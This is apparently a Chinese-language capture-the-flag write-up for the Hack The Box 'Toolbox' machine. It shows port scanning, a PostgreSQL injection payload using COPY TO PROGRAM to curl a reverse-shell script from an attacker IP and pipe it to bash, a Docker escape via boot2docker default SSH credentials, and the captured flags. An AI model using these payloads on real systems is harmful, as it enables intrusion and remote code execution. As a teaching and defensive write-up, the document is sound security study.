[Meachines] [Easy] Toolbox PostgreSQLI-RCE+Docker逃逸boot2docker权限提升
字数 1343 2025-08-29 08:30:24
PostgreSQL注入RCE与Docker逃逸权限提升实战
1. 信息收集阶段
1.1 初始扫描
使用以下命令进行初始扫描:
ip='10.10.10.236'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.2 发现的服务
扫描结果显示了以下开放端口和服务:
- 21/tcp: FileZilla ftpd (允许匿名登录)
- 22/tcp: OpenSSH for Windows 7.7
- 135/tcp: Microsoft Windows RPC
- 139/tcp: Microsoft Windows netbios-ssn
- 443/tcp: Apache httpd 2.4.38 (Debian)
- SSL证书信息显示域名为admin.megalogistic.com
- 445/tcp: microsoft-ds
- 5985/tcp: Microsoft HTTPAPI httpd 2.0
- 47001/tcp: Microsoft HTTPAPI httpd 2.0
- 49664-49669/tcp: Microsoft Windows RPC
2. Web应用测试
2.1 添加hosts记录
echo '10.10.10.236 megalogistic.com admin.megalogistic.com' >> /etc/hosts
2.2 访问Web应用
- 主站点: https://megalogistic.com/
- 管理后台: https://admin.megalogistic.com/
2.3 发现SQL注入漏洞
通过分析登录请求,发现username参数存在注入点:
POST / HTTP/1.1
Host: admin.megalogistic.com
[...]
username=admin'&password=1
3. PostgreSQL注入利用
3.1 使用sqlmap确认注入
python3 /opt/sqlmap/sqlmap.py -u http://admin.megalogistic.com --batch --force-ssl --dbms=PostgreSQL -X POST --data 'username=admin&password=11111'
3.2 PostgreSQL命令执行
利用COPY TO PROGRAM功能实现RCE:
POST / HTTP/1.1
Host: admin.megalogistic.com
[...]
username=';COPY+(SELECT+'test')+TO+PROGRAM+'curl+10.10.16.33/reverse.sh|bash';--+-&password=1
这个payload会执行以下操作:
- 使用COPY TO PROGRAM功能执行系统命令
- 从攻击者服务器(10.10.16.33)下载reverse.sh脚本
- 通过管道传递给bash执行
4. 初始访问
成功执行RCE后获取user flag:
f0183e44378ea9774433e2ca6ac78c6a
5. 权限提升:Docker逃逸
5.1 识别Docker环境
uname -a
5.2 获取交互式shell
SHELL=/bin/bash script -q /dev/null
5.3 利用boot2docker特性
在Docker容器内发现可以访问宿主机SSH服务:
postgres@bc56e3cc55e9:/tmp$ ssh docker@172.17.0.1
5.4 获取root flag
docker@box:~$ cat /c/Users/Administrator/Desktop/root.txt
cc9a0b76ac17f8f475250738b96261b3
6. 关键知识点总结
-
PostgreSQL注入:
- 使用COPY TO PROGRAM功能实现RCE
- 这是PostgreSQL 9.3+版本特有的功能
- 需要数据库用户有足够权限(通常超级用户才有此权限)
-
Docker逃逸:
- boot2docker默认配置问题
- 容器内可以访问宿主机的SSH服务(172.17.0.1)
- 默认凭证(docker/tcuser)允许访问
-
Windows Docker环境特性:
- boot2docker是Windows上运行Docker的传统方式
- 文件系统路径映射特殊(/c/对应C盘)
7. 防御建议
-
防止SQL注入:
- 使用参数化查询
- 最小权限原则,限制数据库用户权限
- 禁用COPY TO PROGRAM功能(需要PostgreSQL配置)
-
Docker安全加固:
- 避免使用默认凭证
- 限制容器内网络访问
- 定期更新Docker环境
- 使用用户命名空间隔离
-
Web应用安全:
- 实施严格的输入验证
- 使用WAF防护常见攻击
- 定期安全审计和渗透测试